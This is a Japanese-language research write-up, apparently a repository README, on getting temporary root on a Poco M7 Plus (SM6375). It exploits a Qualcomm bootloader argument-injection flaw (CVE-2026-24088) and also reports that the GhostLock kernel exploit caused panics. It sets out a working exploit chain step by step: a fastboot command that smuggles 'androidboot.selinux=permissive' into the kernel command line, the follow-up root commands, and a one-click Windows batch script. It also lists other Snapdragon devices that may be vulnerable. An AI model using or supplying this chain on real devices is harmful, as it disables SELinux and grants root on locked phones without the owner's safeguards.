
Poco M7 Plus (SM6375) における Qualcomm GBL エクスプロイト (CVE-2026-24088) を利用した一時的 root 取得調査 + GhostLock カーネル解析 (CVE-2026-43499)
免責事項: このドキュメントは純粋に教育およびセキュリティ研究目的で書かれています。すべてのテストは自身のデバイスで実施しました。デバイスの文鎮化、データ損失、またはこの情報の悪用について私は責任を負いません。ここで議論されている脆弱性はすでに公開され、修正済みです。所有していないデバイスでこれを試さないでください。
| ファイル | 説明 |
|---|---|
| GBL-AutoRoot.bat | ワンクリックエクスプロイト自動化ツール (Windows) |
使用方法:
GBL-AutoRoot.bat をダウンロードしますCVE-2026-24088 の影響を受ける任意の Qualcomm ABL デバイスと互換性があります。 デバイスが
OKAYを返した場合、root アクセスが自動的に付与されます。
このツールは Qualcomm ABL の脆弱性 (CVE-2026-24088) を対象としています。お使いのデバイスが脆弱な SoC を搭載しており、まだ修正済みファームウェアを受信していない場合、このツールは動作します。
| ステータス | デバイス / SoC ファミリー | デバイス例 |
|---|---|---|
| ✅ 確認済み | Snapdragon 695 (SM6375) | POCO M7 Plus 5G, Redmi 15 5G |
| ⚠️ 可能性あり | Snapdragon 8 Gen 3 (SM8650) | Xiaomi 14 / Pro / Ultra, Redmi K70 Pro |
| ⚠️ 可能性あり | Snapdragon 8 Gen 2 (SM8550) | Xiaomi 13 / Pro, POCO F5 Pro, Redmi K60 Pro |
| ⚠️ 可能性あり | Snapdragon 8+ Gen 1 (SM8475) | Xiaomi 12T Pro, POCO F5 |
| ⚠️ 可能性あり | Snapdragon 888 (SM8350) | Mi 11, Mi 11X Pro, POCO F3 |
| ⚠️ 可能性あり | Snapdragon 7+ Gen 3 (SM7675) | POCO F6 |
| ⚠️ 可能性あり | Snapdragon 7 Gen 3 (SM7550) | Xiaomi Civi 4 |
| ⚠️ 可能性あり | Snapdragon 695 5G (SM6375) | POCO X4 Pro 5G, Redmi Note 11 Pro 5G |
| ⚠️ 可能性あり | Snapdragon 680 (SM6225) | Redmi Note 11, Redmi 10C |
| ⚠️ 可能性あり | Snapdragon 662 (SM6115) | POCO M3, Redmi 9T |
| ❌ 非対応 | MediaTek (MTK) | POCO X6 Neo, Redmi Note 13 Pro+ |
| ❌ 非対応 | 修正済みファームウェア | HyperOS 3.0.304.0+ (セキュリティパッチ適用済み) |
📢 コミュニティでのテストが必要です: 私はこれらすべてのデバイスをテスト用に所持していません。「対応の可能性あり」のデバイスをお持ちの場合は、ツールをテストして結果をお知らせください。これにより、お使いのデバイスを「動作確認済み」リストに正式に追加できるようになります!
| 項目 | 値 |
|---|---|
| デバイス | Poco M7 Plus 5G (コードネーム: spring) |
| チップセット | Qualcomm SM6375 (Snapdragon 6s Gen 3) |
| アーキテクチャ | AArch64, KASLR 有効 |
| SELinux | Enforcing (エクスプロイト前) |
| ブートローダー | LOCKED |
| テストプラットフォーム | Windows 11, ADB Platform Tools |
| HyperOS バージョン | カーネルバージョン | GhostLock の結果 | GBL エクスプロイトの結果 |
|---|---|---|---|
| 2.0.202.0 | 6.1.118-android14-11-ga3b9c44908dd-ab13320413 | ❌ カーネルパニック | ✅ 動作 |
| 2.0.208.0 | 6.1.138-android14-11-g51f8c580613d-ab13911623 | ❌ カーネルパニック | ✅ 動作 |
調査メモ: 当初は HyperOS 2.0.202.0 でテストし、GhostLock がカーネルパニックを引き起こしました。その後、新しいカーネルビルド (6.1.118 -> 6.1.138) で GhostLock の不安定性が解消されるかを確認するため、2.0.208.0 に更新しました。パニックは依然として発生しました。両方のビルドは同じ 6.1 の
pselect/fd_set内部レイアウトを共有しており、GhostLock はこれを扱えません。GBL エクスプロイトは両方のバージョンで動作しました。
この調査では、ブートローダーをアンロックせずにこのデバイスで一時的な root を取得するための 2つの独立したエクスプロイト経路 をテストしました:
| アプローチ A: GBL エクスプロイト | アプローチ B: GhostLock | |
|---|---|---|
| レイヤー | ブートローダー (ABL/fastboot) | カーネル (Linux 6.1) |
| CVE | CVE-2026-24088 | CVE-2026-43499 |
| このデバイスでの結果 | ✅ 動作 | ❌ カーネルパニック |
| root の種類 | 一時的 (テザード) | 一時的 (テザード) |
| ADB が必要? | はい (fastboot モード) | はい (シェルアクセス) |
| カーネルバージョンに依存? | いいえ | はい - 6.6-6.12 でのみ安定 |
GBL エクスプロイトは動作しました。GhostLock はカーネルバージョンの不一致によりカーネルパニックで失敗しました。両方の調査結果を以下に詳述します。
CVE-2026-24088 は、複数のデバイスにわたる Qualcomm の Android Boot Loader (ABL) に影響します。
Jan 2026 -> Vulnerability discovered during ABL unpacking & analysis
Feb 2026 -> Qualcomm patches: QcomModulePkg: Fix propagation of untrusted input into kernel cmdline
Mar 2026 -> Public PoC released; Xiaomi begins rolling out HyperOS 3.0.304.0 (patched)
Jun 2026 -> CVE-2026-24088 officially assigned in Qualcomm Security Bulletin
このエクスプロイトは、ブートローダーレベルで3段階のチェーンとして機能します:
Android 16では、QualcommのABLがefispパーティションからGeneric Bootloader(GBL)をロードします。重大な欠陥は次のとおりです:ABLはバイナリが有効なUEFIアプリケーションかどうかを確認するだけで、その暗号署名を検証しません。 つまり、カスタムの署名なしUEFIアプリケーションをefispに配置すれば、ブートローダーステージで完全な権限を持って実行されます。
fastboot oem set-gpu-preemptionコマンドには入力サニタイズが欠けています。ABLは、指定された引数をフィルタリングせずにカーネルコマンドラインへ直接連結します。
追加の引数としてandroidboot.selinux=permissiveを渡すことで:
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
...ブートローダーはカーネル cmdline に androidboot.selinux=permissive を書き込み、Android の init プロセスが起動時にこれを読み取ります - これにより SELinux の強制が事実上無効化されます。
efisp に配置されたカスタム UEFI アプリケーションは、is_unlocked および is_unlocked_critical フラグを設定してブートローダーを恒久的にアンロックできます。(この手順はテストされていません - ハードブリックのリスクがあります。)
⚠️ 続行する前に停止してください: まずセクション 7 のパッチチェックを実行してください。お使いのデバイスにパッチが適用されている場合、これらの手順は一切機能しません。
前提条件:
開発者向けオプションで OEM アンロックを有効にする必要がありますか? いいえ - そしてこれはこのエクスプロイトの最も重要な側面の一つです。
fastboot oem set-gpu-preemptionコマンドは ABL レベルで動作します - OS が OEM アンロック状態をチェックする前に処理されます。CVE-2026-24088 は ABL 自体の入力サニタイズの欠陥であり、OEM アンロックのゲートを完全にバイパスします。ブートローダーはその間ずっとロックされたままです。 「まず OEM アンロックを有効にしてください」と書かれたガイドを見た場合 - それはこのエクスプロイトではなく、別の(標準的な)アンロック方法に当てはまるものです。
ステップ 1: Fastboot モードに入る
adb reboot bootloader
ステップ2: 脆弱性をテストする
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
OKAY -> デバイスは脆弱 ✅ 続行FAILED (remote: 'Set GPU HW Preemption: Invalid Argument') -> デバイスは修正済み ❌ ここで停止ステップ 3: 注入されたコマンドラインで起動
fastboot continue
ステップ4: SELinuxの状態を確認する
adb shell getenforce
# Expected: Permissive
ステップ5: Root Manager を介して root を取得する
オプション A - KernelSU Manager:
# Open KernelSU Manager on device
# Tap "Jailbreak" / grant button to activate root
adb shell su -c id
# Expected: uid=0(root) gid=0(root)
オプションB - Resuski Manager:
# Open Resuski Manager on device
# Enable "Jailbreak Mode" from the main screen
# Root and modules appear as active and working
adb shell su -c id
重要: jailbreak モードを有効化した後、端末の電源を切って再度起動した場合は、まず fastboot インジェクションを再実行 (ステップ 1〜3) してから、root マネージャーアプリを再度開く必要があります。root はテザード方式です。SELinux の permissive 状態が再確立されれば、マネージャーは root とモジュールが正常に動作していることを正しく表示します。
ステップ 6: 完全な root 状態を確認する
adb shell getenforce # Permissive
adb shell su -c id # uid=0(root)
adb shell su -c "cat /data/adb/ksu/version" # KSU version
adb shell su -c "cat /sys/fs/selinux/enforce" # 0
ステップ7: 自動化スクリプト(オプション)
@echo off
echo Rebooting to fastboot...
adb reboot bootloader
timeout /t 10
echo Injecting SELinux permissive...
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
timeout /t 2
fastboot continue
echo Done. Open KernelSU or Resuski Manager on device.